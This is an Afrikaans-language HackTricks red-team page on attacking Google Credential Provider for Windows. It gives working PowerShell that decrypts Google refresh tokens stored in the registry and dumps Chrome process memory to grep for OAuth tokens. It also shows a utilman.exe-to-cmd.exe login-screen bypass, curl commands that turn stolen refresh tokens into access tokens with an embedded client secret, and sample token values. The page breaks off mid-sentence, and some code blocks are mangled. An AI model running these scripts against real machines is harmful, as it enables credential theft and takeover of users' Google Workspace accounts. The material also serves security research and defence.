GCPW - Google Credential Provider for Windows

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basic Information

Dit is die enkele aanmeld wat Google Workspaces bied sodat gebruikers op hul Windows PC's kan aanmeld met hulle Workspace akrediteer. Boonop sal dit tokens stoor om toegang tot Google Workspace in sommige plekke op die PC te verkry.

Let daarop dat Winpeas in staat is om GCPW te detecteer, inligting oor die konfigurasie te verkry en selfs tokens.

GCPW - MitM

Wanneer 'n gebruiker toegang tot 'n Windows PC wat gesinkroniseer is met Google Workspace via GCPW, sal dit 'n algemene aanmeldvorm moet voltooi. Hierdie aanmeldvorm sal 'n OAuth-kode teruggee wat die PC sal ruil vir die hernuwingstoken in 'n versoek soos:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Nuwe lyne is bygevoeg om dit meer leesbaar te maak.

Dit was moontlik om 'n MitM uit te voer deur Proxifier op die rekenaar te installeer, die utilman.exe binêre met 'n cmd.exe te oorskryf en die toeganklikheidskenmerke op die Windows aanmeldbladsy uit te voer, wat 'n CMD sal uitvoer waaruit jy die Proxifier kan begin en konfigureer. Moet nie vergeet om QUICK UDP verkeer in Proxifier te blokkeer sodat dit na TCP kommunikasie afgradeer nie en jy dit kan sien.

Konfigureer ook in "Gediensde en ander gebruikers" albei opsies en installeer die Burp CA sertifikaat in Windows.

Boonop, deur die sleutels enable_verbose_logging = 1 en log_file_path = C:\Public\gcpw.log in HKLM:\SOFTWARE\Google\GCPW by te voeg, is dit moontlik om dit te laat stoor van sommige logs.

GCPW - Vingerafdruk

Dit is moontlik om te kontroleer of GCPW op 'n toestel geïnstalleer is deur te kyk of die volgende proses bestaan of of die volgende registrasiesleutels bestaan:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts is dit moontlik om toegang te verkry tot die e-pos van die gebruiker en die versleutelde refresh token as die gebruiker onlangs ingeteken het.

In HKLM:\SOFTWARE\Google\GCPW\Users is dit moontlik om die domeine te vind wat toegelaat word om in te teken in die sleutel domains_allowed en in subsleutels is dit moontlik om inligting oor die gebruiker te vind soos e-pos, prentjie, gebruikersnaam, token lewensduur, token handvatsel...

Die token handvatsel is 'n token wat begin met eth. en waarvan 'n paar inligting met 'n versoek soos die volgende onttrek kan word:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

Dit is ook moontlik om die token-handle van 'n toegangstoken te vind met 'n versoek soos:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Soos ek weet, is dit nie moontlik om 'n hernuwingsteken of toegangsteken van die tekenhandvatsel te verkry nie.

Boonop is die lêer C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse 'n json wat die inligting van verskillende instellings bevat soos enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (as verskeie gebruikers van Workspace op die rekenaar kan aanmeld) en validityPeriodDays (aantal dae wat 'n gebruiker nie weer met Google direk hoef te verifieer nie).

GCPW - Kry Tokens

GCPW - Registrie Hernuwingstokens

Binne die registrie HKCU:\SOFTWARE\Google\Accounts mag dit moontlik wees om 'n paar rekeninge met die refresh_token wat binne versleuteld is, te vind. Die metode ProtectedData.Unprotect kan dit maklik ontsleutel.

Kry HKCU:\SOFTWARE\Google\Accounts data en ontsleutel hernuwingstokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Voorbeeld uit: 

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI

</div>

Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die register vind nie, is dit moontlik om die waarde te verander (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** en die volgende keer wanneer die gebruiker die rekenaar toegang, sal hy weer moet aanmeld en die **token sal in die vorige register gestoor word**.

### GCPW - Skyf Vernuwings Tokens

Die lêer **`%LocalAppData%\Google\Chrome\User Data\Local State`** stoor die sleutel om die **`refresh_tokens`** te ontsleutel wat binne die **Google Chrome profiele** van die gebruiker geleë is soos:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Dit is moontlik om 'n paar **C# kode** te vind wat toegang tot hierdie tokens in hul ontsleutelde vorm het in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Boonop kan die versleuteling in hierdie kode gevind word: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

Dit kan waargeneem word dat AESGCM gebruik word, die versleutelde token begin met 'n **weergawe** (**`v10`** op hierdie tydstip), dan [**het dit 12B van nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), en dan het dit die **cypher-teks** met 'n finale **mac van 16B**.

### GCPW - Dumping tokens uit prosesse se geheue

Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan **soek** na strings wat verband hou met **toegang en verfris tokens**. As Chrome aan 'n of ander Google-webwerf gekoppel is, sal 'n **proses verfris en/of toegang tokens in geheue stoor!**

<details>

<summary>Dump Chrome prosesse en soek tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Ek het dieselfde met gcpw_extension.exe probeer, maar dit het geen token gevind nie.

Om een of ander rede, sommige uitgehaalde toegangstokens sal nie geldig wees nie (alhoewel sommige geldig sal wees). Ek het die volgende skrip probeer om karakters een vir een te verwyder om die geldige token uit die dump te kry. Dit het my nooit gehelp om 'n geldige een te vind nie, maar dit mag dalk:

Kontroleer toegangstoken deur karakters een vir een te verwyder

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Genereer toegangstokens vanaf verfrissingstokens

Deur die verfrissingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Let daarop dat selfs al het jy 'n hernuwingsteken, dit nie moontlik is om enige omvang vir die toegangsteken aan te vra nie, aangesien jy slegs die omvangs wat deur die toepassing ondersteun word waar jy die toegangsteken genereer kan aan vra.

Ook, die hernuwingsteken is nie geldig in elke toepassing nie.

Standaard sal GCPW nie as die gebruiker toegang hê tot elke moontlike OAuth omvang nie, so deur die volgende skrip te gebruik, kan ons die omvangs vind wat met die refresh_token gebruik kan word om 'n access_token te genereer: